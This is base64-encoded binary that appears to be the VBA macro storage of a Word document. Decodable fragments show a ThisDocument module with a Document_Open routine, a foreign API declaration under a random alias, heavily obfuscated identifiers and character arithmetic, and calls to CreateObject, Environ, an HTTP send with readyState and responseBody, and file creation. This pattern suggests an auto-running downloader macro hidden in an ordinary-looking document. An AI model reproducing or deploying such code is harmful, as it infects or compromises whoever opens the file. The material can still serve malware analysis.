AKwA/wCSAAAAAAAAACAAcAMgAHADKwBsAwEAAAACASAAcAMBAcsAAAAAAAAAAgEgAHADAQGs AAABrAAdAZIAAAAAAAAAIABwA6wAAAECACAAcAMrAGwDAQAAAAAAAgEgAHADAQHLAAAAAAAA AAIBIABwAwEBrAABAKwABgCSAAAAAAAAACAAcgMgAHADDAAkAG4DAQAgAHADrAD5AAsAKwBs AwEAIABwA6wAAQAMACQAbgMBAKwA/wAgAHIDIABwAwwAJABuAwEADAAdAAIAIABwA6wAAQAM ACsAbAMBAAAAAAAAAAIBIABwAwEBywAAAAAAAAC6ACcAeAMAAKwAAAAnAHQDrAAAACcAdgMC ASAAcAMBAawAAAAgAGoDkQAAAJIAAAAgAHQDIAByAwoAmwBHAKwAAAAnAHQDagAgAHYDrAAd AQoAIAB4A7oABQAEAJsARwCsAAAAJwB2A0YAAAAgAHgDHQAVACcAeANqAAAAAAAAACAAdgOs AB0BCgAgAHgDugQFAAQAmwBHAKwABQAnAHYDRgAAACAAeAMdABUAJwB4A2oAAAAAAAAAIABw AyQAagMBACAAdgMkAGwDAQAgAHQDJABuAwEAAgAdAAIAHQAgAHADKwBqAwEAIAB0A6wAAQAL ACcAdAMAACAAdgOsAAEACwAnAHYDAAACASAAcAMBAcsAAAAAAAAArABLACcAjAMgAIwDIACO AwsArAABAAoAnAAAAAAAAACsAAgAJAA8AgEAJwCOAwAAawD//9gFAAAkAGoDAAAgAE4DJABK AwIAJwCyAgAAAACsABQAJwCQAyAAkAMgAJIDCwCsAAEACgCcAAAAAAAAAKwAPwAkADwCAQAn AJIDAABrAP//iAUAAGkA//+ABQAA/////3gFAAD/////AAABq7gAQXR0cmlidXQAZSBWQl9O YW0AZSA9ICJUaGkAc0RvY3VtZW4QdCINCgqMQmFzAQKMMU5vcm1hbAIuGVZHbG9iYWwhAapT cGFjAWxGYQhsc2UMokNyZWEQdGFibBUfUHJlIGRlY2xhAAZJZBEAnlRydQ1CRXhwCG9zZRQc VGVtcABsYXRlRGVyaQJ2FSRDdXN0b22MaXqEQ4MxI0lmAIsAQTcgVGhlbg1MClCAH4AjIESD RiAAUHRyU2FmZSAARnVuY3Rpb24AIE1kSFlaalgAUElyRyBMaWIAICJQbkg2VjEAZyIgQWxp YXMAICJXUk1HU0wAajJkNiIgKEIAeVZhbCBDZXAASHNNV1IgQXMEIFOAxW5nLCBWCHhORYEH TG9uZ8IpBQQNCiNFAp4NQ4USP2wcPyhieXaJPo9AJ0ofwANBHyApIEQCAYEfbmQgSWYNChBT dWIghYdfT3AAZW4oKQ0KRXQgRnlzWHrAZzYzDA0KAE4FBCsgQzEASHRaVFh0ID4MIDGEUoYE PSBSbjBkKDk4QRCEF09uACBFcnJvciBSBGVzgKAgTmV4dAANCk4zRGFRZjIwwBc1NcIXBQQr IABRVE5rN1RDOABnZkVEOHRXZ04wCBrPBkMcNzVIHEQAaW0gU2VFVnAIbmFahVssIFNiAEJO ZEozQUZMIG1IVENuBwZPdABYRFcza2Y3QiBFQVpNeEgMZWgAOExWbkx1SmYINXBKxQUNClJs AHhqcnRQN3BLQHlEdXJLYQAxMQYwAjFOBisgRkJwAHdiQ3RsaXd6nHJjSDLLBUMxMTNIMQFG MD0gOTg5NTcQNzEyOg4xPSAwDDogDTCAAg0KVTMAY0tNSndYUjkOUeATYzhpAisgTnKAbERX cDhmNqgS02cCIxI1MSgSRoA4rSjKPWFAb8YtDQqPES0CiCsgMeA/ZXh0rRlBgAdWYzF5MuAV OAo44ilP4wErIFRsgFppUDlPUlJoFftnAmMVNGkVIFYvEUYqA4AAVFFwQmYwRWgASnpnZDdM Wk0yMQAPNTYCD08DKyCAU015TlppRygQMyUC4w82NGglYVBFTwByclpYbVBxaAJMgUdJbnRl Z2XAciwgSTF5ALQGhAwNCgEriQU9IDIgwFRvIDc3MoARggVyPYQGKyDoBKMowK9mSFQwRWAX NDRiF0EBwgErIFBTbXFF8EJEUUYoFmcCZBYpdQpT6109CaAoIkFaAGJMSDFNWCIsCCA3MiAd THJyQwBxdm84bmo0Sxxic8APZGDsAisgT+BqYTJvZYgQBAIjEAYyKXfhjHJyLk51kG1iZXJA CjUzBIwARjE0d0RwRG1oR2lSwAIzQ4aJAisAIEd2NklmOGuAbkI0anl4VcgNMwwDww45N4g1 4JMuQwBsZWFyDQpHbBp2AAw2AwyBASsgS/BKYVNi6AnjAaQX6icAaDMyczhTTEVgeEpVSklg qOK7R4Ayc0t6T3ZYwAoGN+IzBgIrIFZZbQAwcUU4QTEyUMBMOGNlSFrIDG8DCUMONzYoF1Iz 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 A7EBdeFvMjACMJSvQ1o0MGRnMDhkVnnQCeF1ZiADKAHgaEtKWXdMWABDdE5XNUp5U/RMYcgK Tb4BlAsRj2VpBXy8IMCxUkpiTmIP4AZRf8BN4wArIEl4AHRIb1l2ckRx4Gg3TmdWiAadAWMG BDI4CDlFRXpFVQBiTkhZZmhyIA2IaCx7ORBxQ29udgIoexFyZXNQb24Ac2Vib2RZLCCB8Hdu aWNvZGUfOZvAawhpNkYziFIyMHc6FZclMecyOHJfUkJmAEJQT2ZXZTl4gmXySkQxTVZUookH 8J1QEfQAKyBVanqAZWNIR092MylK31kB4xBJF29dCng1hwundpIylzMyMFYyMTl2MqWYDTam WTEw9gE5VgUbF0GXBjMnBQJQUFRpADRMVU5BOEJUoEdvZTdNQBAuEK3cICIAAMB8uYQmQgEw rIA2YTZjMkhrwFY0PSADXU4nAbA0MHgAWkQ5eE15Mmp6eNgjUmkBsxKpNYUqQQA0dTV3dUxm d+hzcnjAKTLDMFoBkNfoMldaqAVD4QDkF9koga92PSBOb3Ro0JiL0MNwOVNh7kZ1bgCvEm+s Y0J5UL8gTFIQQnhSWUmcUDI2AEZIUjZwdklING5ShwEppwDwxzRLQEJQY21iOAAMOQ0DDE8m AYCDV0YzMwBUdGpOaVJvevpiGTZTnAEzDTAb4wohrhhPbiBjvUPWIE5lAHh0DQpVOUdwAGJJ a2p6NE1kdHJpYAcxg618AcC1T4BtVXZObmxy6BMCSzQBLLMAciA9IFJuZCgANjgpDQpFbmQA IElmDQpEaW0AIEVaenZoVlcAZzFIZExKKCkAIEFzIEJ5dGUALCBPTEt3VmUAcFk0OSgwIFQg byAyODUCOkluAHRlZ2VyLCBKAGtjRnJ0V09YEFVUOG0JckhZNwA0clp0LCBNVwBWV3p2LCBL bQhTZ2IAMElBZUUAb1lsM3ZvZCwAIElrcW9rTk4gRHBWN3ECdW9vAGxlYW4NCk50AG0xMFBZ RFB2AQCzNTINCklmIAEIEysgWGNiID7AIDEgVGhlAC4BDTkD2zQzCNsK1wBIU3QAckNvbnYo TFIAQnhSWSwgdmIARnJvbVVuaWMIb2RlgBtHU1VEAEdOVE54UkU3kHdUV00AGTY4gj0Bjgwr IEN1dGVlAFRWNWxEVE1JzmUIRgwMg0szNIhLjZoEPSCFTFAyNkZIAFI2cHZJSG5SARBQZjhD eVFsTRpSgEwzhEwGCSsgV4BxSG5ZSjQ5CEY7BgkEQzmIIYNmgBJVQhxvdcCFiiXACUtSaEBo YTQ4djWACDIGN8JBhwQrIFlwVABFdHZUcmlUeicIHEkFwxw2NsgcRm8cciDEhkAVA5U1NQ12 CkiahAcpwAeEAsCDZSR4dMUNDQoLETI15jbEppwRIFgAH0ALmxMRwJRvIDaREiArILgyNDnB JQtwxFEtBSjDgDuPMyAtIDGPDgQ4wwMHgScoMjU1QAMcGA1AGE5KRArSPSBGYWBsc2UNCsLc gVkN/ApKyN0jAjAx5EDKZkAN+2BvIwk+pHmibiN6YwkgBOUKDD4hhSBBQYwpfAQTC8MHLRI6 q4E9IE5vuHQgKAkbQxEfDXGAEtBUcnVl8gw1/wzgDO1KICikNME3KDQDYjeoPp2pFCkCT0s6 AiopKUANxUMrPcQpKyAxjjUqHgMCBIs/T1VLVEhJoEtjWWJJIB83oGkD4DGJAisgTExIUHh5 c3nodCUCY3QpwkYAWlJmaHY0M3e4OFdu4AlFkwsfKYGTASenWVpwVjF6dDJVQS8yMEKFRwIr IABFT0IwZUxaTPBLUmxXaBDKAoSF6rcBAEhGdW5jdGlvAYC8DQoAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA zGGmAAADAP8ZBAAACQQAAOMEAwAAAAAAAAAAAAEABQACAP4AKgBcAEcAewAwADAAMAAyADAA NABFAEYALQAwADAAMAAwAC0AMAAwADAAMAAtAEMAMAAwADAALQAwADAAMAAwADAAMAAwADAA MAAwADQANgB9ACMANAAuADIAIwA5ACMAQwA6AFwAUABSAE8ARwBSAEEAfgAxAFwAQwBPAE0A TQBPAE4AfgAxAFwATQBJAEMAUgBPAFMAfgAxAFwAVgBCAEEAXABWAEIAQQA3AC4AMQBcAFYA QgBFADcALgBEAEwATAAjAFYAaQBzAHUAYQBsACAAQgBhAHMAaQBjACAARgBvAHIAIABBAHAA cABsAGkAYwBhAHQAaQBvAG4AcwAAAAAAAAAAAAAAAAAQASoAXABHAHsAMAAwADAAMgAwADkA MAA1AC0AMAAwADAAMAAtADAAMAAwADAALQBDADAAMAAwAC0AMAAwADAAMAAwADAAMAAwADAA MAA0ADYAfQAjADgALgA2ACMAMAAjAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMA XABNAGkAYwByAG8AcwBvAGYAdAAgAE8AZgBmAGkAYwBlAFwATwBmAGYAaQBjAGUAMQA1AFwA TQBTAFcATwBSAEQALgBPAEwAQgAjAE0AaQBjAHIAbwBzAG8AZgB0ACAAVwBvAHIAZAAgADEA NQAuADAAIABPAGIAagBlAGMAdAAgAEwAaQBiAHIAYQByAHkAAAAAAAAAAAAAAAAAvAAqAFwA RwB7ADAAMAAwADIAMAA0ADMAMAAtADAAMAAwADAALQAwADAAMAAwAC0AQwAwADAAMAAtADAA MAAwADAAMAAwADAAMAAwADAANAA2AH0AIwAyAC4AMAAjADAAIwBDADoAXABXAGkAbgBkAG8A dwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAcwB0AGQAbwBsAGUAMgAuAHQAbABiACMATwBMAEUA IABBAHUAdABvAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAAAABIAKgBcAEMATgBvAHIAbQBhAGwA EgAqAFwAQwBOAG8AcgBtAGEAbACc5etXCAAAAAAAAAAoASoAXABHAHsAMgBEAEYAOABEADAA NABDAC0ANQBCAEYAQQAtADEAMAAxAEIALQBCAEQARQA1AC0AMAAwAEEAQQAwADAANAA0AEQA RQA1ADIAfQAjADIALgA3ACMAMAAjAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMA XABDAG8AbQBtAG8AbgAgAEYAaQBsAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBoAGEA cgBlAGQAXABPAEYARgBJAEMARQAxADUAXABNAFMATwAuAEQATABMACMATQBpAGMAcgBvAHMA bwBmAHQAIABPAGYAZgBpAGMAZQAgADEANQAuADAAIABPAGIAagBlAGMAdAAgAEwAaQBiAHIA YQByAHkAAAAAAAAAAAAAAAAAAQACAAYAEgIAABQCAQAWAgEAGAIAABoCAQAcAgEAIgL///// //8AAAAA//8AAMXl61cRAP////////////////////8AAP////////////////////////// //////////////////////////////////8BAAAAAAAAAAAAAAAAAAAAAAAAAEycAQAYAFQA aABpAHMARABvAGMAdQBtAGUAbgB0ABQAMAA2ADUANwBlAGIAZQA1AGMANQD//yUCGABUAGgA aQBzAEQAbwBjAHUAbQBlAG4AdAD//yo2AAAAAAAAAAIAAAD9MwAA////////AQEgAgAA//// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ////////////////////////////AAIAAP////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////9JMmjLSZQuQ6M3K17rgZmT/////wEAAAD/////YAAA AIAAAAAAAMkBygAGAVhKAAAAAAUAA4AUAP8DAwBBbmQAAAkAAoAUAP8DAwBBcwAAEgAFgBQA /wMDAEJ5VmFsAABxAAOAEAD/AwMAbGliAACGAAeAFAD/AwMAbm90aGluZwAApAADgBQA/wMD AHNldAAAwgAFgBQA/wMDAHdyaXRlBARXb3JkUzEwAAMEVkJB9+IwAAUEV2luMTaPEDAABQRX aW4zMtUQMAAFBFdpbjY0RhEwAAMETWFjs7IwAAQEVkJBNq0jMAAEBFZCQTeuIzAACARQcm9q ZWN0MQoXMAAGBHN0ZG9sZZNgMAAHBFByb2plY3QtrjAADARUaGlzRG9jdW1lbnQ8njAACYAA AP8DAwBfRXZhbHVhdGUY2TAABgBOb3JtYWzf2DAABoQIAP8DAwBPZmZpY2UVdTAACAREb2N1 bWVudGrTMAALhAgA/wMDAE1kSFlaalhQSXJHfTswAAiECAD/AwMAQ2VwSHNNV1Lw8DAABIQI AP8DAwBWeE5FQ5swAAcEUG5INlYxZyZMMAANhAgA/wMDAERvY3VtZW50X09wZW7BiTAAB4AA AP8DAwBFdEZ5c1h6VPcwAAiAAAD/AwMAQzFIdFpUWHR8wzAAAwBSbmRSzzAAB4AAAP8DAwBO M0RhUWYwFocwABGAAAD/AwMAUVROazdUQzhnZkVEOHRXZzDMGTAACIQIAP8DAwBTZUVWcG5h WjSeMAAPhAgA/wMDAFNiQk5kSjNBRkxtSFRDbsxXMAAPhAgA/wMDAE90WERXM2tmN0JFQVpN eCU0MAAOhAgA/wMDAFNlaDhMVm5MdUpmNXBKa/cwABCAAAD/AwMAUmx4anJ0UDdwS3lEdXJL YY6CMAANgAAA/wMDAEZCcHdiQ3RsaXd6cmPecDAAC4AAAP8DAwBVM2NLTUp3WFI5US1QMAAJ gAAA/wMDAE5ybERXcDhmNuEwMAAGgAAA/wMDAE9WYzF5MpfFMAAJgAAA/wMDAFRsWmlQOU9S Usz1MAARgAAA/wMDAFRRcEJmMEVoSnpnZDdMWk0xhhwwAAeAAAD/AwMAU015TlppR28+MAAL hAgA/wMDAEVPcnJaWG1QcWhM6XUwAAWECAD/AwMASTF5dGW3zTAABYAAAP8DAwBBZlQwRYtV MAAJgAAA/wMDAFBTbXFFQkRRRh51MAAOgAAA/wMDAExyckNxdm84bmo0S2JzZkswAAaAAAD/ AwMAT2phMm9lM2cwAAMARXJyb4owAAYATnVtYmVyoy0wAAuAAAD/AwMARjE0d0RwRG1HaVJO kjAADoAAAP8DAwBHdjZJZjhrbkI0anl4VWVaMAAFAENsZWFy480wAAOAAAD/AwMAR2x2R5Qw AAWAAAD/AwMAS0phU2L6vjAADoQIAP8DAwBTaDMyczhTTEV4SlVKSa+nMAAIgAAA/wMDAEcy c0t6T3ZYgrswABGAAAD/AwMAVlltMHFFOEExMlBMOGNlSFpGOTAADIQIAP8DAwBSM1hCejJp Z1M1WVguPjAADYAAAP8DAwBYNlNZdXBERlhuM3VKm7AwAAmAAAD/AwMARng2VUgzeDlXDhIw AAuAAAD/AwMAUTR2ekpZOGhWRk03szAAB4AAAP8DAwBPT3JFcDJxqkMwABCAAAD/AwMAS2dH RFVkMEoxWTlBTnUzdI1GMAAMgAAA/wMDAEJ6MkFycERxaEhzMa+kMAALgAAA/wMDAE5qdFFS dk9iNVRGWRUwAA2AAAD/AwMAWXFQbkpzTEF2NjFUT/wbMAAMgAAA/wMDAFhpMVp5TE9wMnBK bTwDMAAGgAAA/wMDAEF3MllhaLzLMAAHhAgA/wMDAFlDRldWaE380zAADIQIAP8DAwBNWFF0 S3U4UHdoS2mW0DAABYAAAP8DAwBIZUlXZBtYMAAIgAAA/wMDAEZBdXJhYmpppvUwAAyECAD/ AwMAQXdINmNYcWNLWldZmCwwAAmECAD/AwMARmhJZlp6cGxWFK4wAAWAAAD/AwMAQUZYYkSI bTAADIAAAP8DAwBCZFNQdjE4Q212R2P/VjAAD4AAAP8DAwBVclBCNFlkd251bVJRWTWN+jAA CYAAAP8DAwBJOEZTcVpyUmc2qzAADIQIAP8DAwBFRXpFVWJOSFlmaHJ9zzAAC4QIAP8DAwBH UW9XOGhrWHJiadfwMAARhAgA/wMDAE9OejA2TElveDN5RUlpNHNshPkwAASECAD/AwMAUTRT Q2D/MAALgAAA/wMDAFFrS3VmZmtPRzBqXscwAAmAAAD/AwMAWWpNNHNmN3gzW4UwAAwAQ3Jl YXRlT2JqZWN0+IowAAyECAD/AwMARlpSZmh2NDN3OFdu1TAwAAMAQ2hyS34wAAeAAAD/AwMA Tm5qS0VhSzvPMAANgAAA/wMDAExsNm1welphUXg4UVgF9DAADoAAAP8DAwBjUmVhdGV0ZVh0 ZklsZYa9MAANgAAA/wMDAFJJaHpiU0NtdElWYkSQcTAACIAAAP8DAwBFaWxBekh6U4/mMAAO gAAA/wMDAFVvVWdoWVFHNGFRQm9GYBAwAAqAAAD/AwMAWWprVGhpbWs3NlmlMAAJgAAA/wMD AEwzb05PYkJPWq/5MAAIgAAA/wMDAElZck5ZWmpENE8wAA6AAAD/AwMAVU54Ukc2ODRwakQy d2IvPDAACoAAAP8DAwBMVXR2YnMxZ0g3hXcwAAuAAAD/AwMAQjhqaXRnQVVRcTWYmTAADYAA AP8DAwBUSDVtMUlqcjlrQUZBXpwwAA+ECAD/AwMAV3lrOThMQjExUUJUY3phVFQwAAiECAD/ AwMAQ0VPbEg4aEvqMDAAEYAAAP8DAwBWNnRZSzBRUlY0SDB1UHg2T04aMAAQgAAA/wMDAER4 WFVDTzRmZkQyZEhIc3lUqDAAEYQIAP8DAwBQZGFuQ0UwMUNUZVlkektVQSFaMAAHgAAA/wMD AEZtV2VHNWGqmTAAC4AAAP8DAwBNZEdZMmdlVlIyOJ9OMAAFAFRpbWVyjVgwAAqAAAD/AwMA RVFnZFd0NUhoVZRgMAALgAAA/wMDAEpKMzY3QXBCV3hMPukwAAiAAAD/AwMAS29SRDUyTE5Q fjAAFoAAAP8DAwBGN24zS1ZIZmdZcUVSd29SbUlabW9mGAYwAAYAU3dpdGNoBAwwAAgARGF0 ZVBhcnSJBTAABQBSYWlzZRj0MAAGAFNlY29uZHMOMAALgAAA/wMDAE9rU292MEFVRUpt3b0w AAUAVUNhc2U1CjAAEYAAAP8DAwBMOW1GdzJ0b2lUUHFlWmpkOb1fMAAJAFRpbWVWYWx1Zbr8 MAACAEZWSV0wAAuAAAD/AwMAUnVuZVBJZEo4MUlzlzAAC4AAAP8DAgBMb2FkUGljdHVyZUjV MAAEAE5QZXLNQTAABwBDb21tYW5k1F0wAAYARmlsdGVytDswAAuAAAD/AwMATUFkdkNKc2lB S0WS0zAAAwBBdG5RdTAABwBEYXRlQWRkLzYwAAqAAAD/AwMAT3dWQzI5aVh1MC4eMAAHAElz RXJyb3JV3zAAAwBMT0ZjrzAACABJbnB1dEJveM8NMAALAEFwcEFjdGl2YXRlMjYwAA4AR2V0 QWxsU2V0dGluZ3M/JzAABgBJc0RhdGUyojAAAwBTcXIo1TAACgBHZXRTZXR0aW5nBvUwAAUA Um91bmSsAjAAC4AAAP8DAwBSQWtxbzQ2Vmp5c8sbMAAOgAAA/wMDAEtNbkhTR0dlSG9UZ2VM 3AUwAA+AAAD/AwMAWUF3OHpJQXo1Znl0ckduZIcwAA2AAAD/AwMATW12YlVXYlBGZGZGczHB MAALhAgA/wMDAFhXNFFLdWNxNEloXAEwAA2ECAD/AwMAS2pESmJNWWh5a1c1QW2ZMAAKgAAA /wMDAFdSSVVZZXVEek9XITAAB4AAAP8DAwBCS2tlUW5Ugs8wAAcARW52aXJvbhssMAALgAAA /wMDAFVsZ2cwUjh4dE1xwAwwAAyAAAD/AwMAU09Kc1BWb0ZIdHNkgBwwAAuAAAD/AwMATDBk NmFlTUVjZXopKzAADoAAAP8DAwBYNXIzQ1pOVEdmSkVaQ6OSMAAHgAAA/wMDAEFRV3lzTkYQ YzAABIAAAP8DAwBScHB6I1owAASAAAD/AwMAc2VuZM3kMAAKgAAA/wMDAHJlYWR5U3RhdGVI FjAABoAAAP8DAQBTdGF0dXOSKzAACoAAAP8DAwBDWjQwZGc4ZFZ5VZUwABGAAAD/AwMATUtK WXdMWEN0Tlc1SnlTTGEc7DAABYAAAP8DAwBSSmJOYvnAMAAPgAAA/wMDAEl4dEhvWXZyRHFo N05nVh5wMAAHAFN0ckNvbnZ4JzAADIAAAP8DAwByZXNQb25zZWJvZFlUxDAACQB2YlVuaWNv ZGX4pjAABoAAAP8DAwBEMU1WVHP+MjAAC4AAAP8DAwBVanplY0hHT3YzQ9LrMAADgAAA/wMB AFJ1bl/QMAAKgAAA/wMDAE42YTZjMkhrZW5YBjAADIAAAP8DAwBSMHhaRDl4TXkyanjRXDAA DIAAAP8DAwBBNHU1d3VMZndzcnix4DAABIAAAP8DAwBDMldauSUwAAaECAD/AwMATFJCeFJZ lUMwAA2ECAD/AwMAUDI2RkhSNnB2SUhuUsegMAAJgAAA/wMDAE80S0JQY21iOJQZMAAPgAAA /wMDAFNXRjMzVHRqTmlSb3piVhMDMAAOgAAA/wMDAFU5R3BiSWtqejRNZHJpMVAwAAmAAAD/ AwMAS09tVXZObmxym6MwAA2ECAD/AwMARVp6dmhWV2cxSGRMSv30MAAKhAgA/wMDAE9MS3dW ZXBZNDmC8jAADYQIAP8DAwBKa2NGcnRXT1hVVDhtTq4wAAeECAD/AwMASFk3NHJadKb8MAAG hAgA/wMDAE1XVld6di6hMAAFhAgA/wMDAEttU2diWm4wAAyECAD/AwMASklBZUVvWWwzdm9k rfwwAAyECAD/AwMASWtxb2tOTkRwVjdxRxkwAAqAAAD/AwMATnRtMTBQWURQdpsgMAADgAAA /wMDAFhjYs/tMAANAHZiRnJvbVVuaWNvZGUwvjAAEIAAAP8DAwBHU1VER05UTnhSRTd3VFdN xywwAA6AAAD/AwMAQ3V0ZWVUVjVsRFRNSWV7tTAACYAAAP8DAwBHZjhDeVFsTVIuhDAACIAA 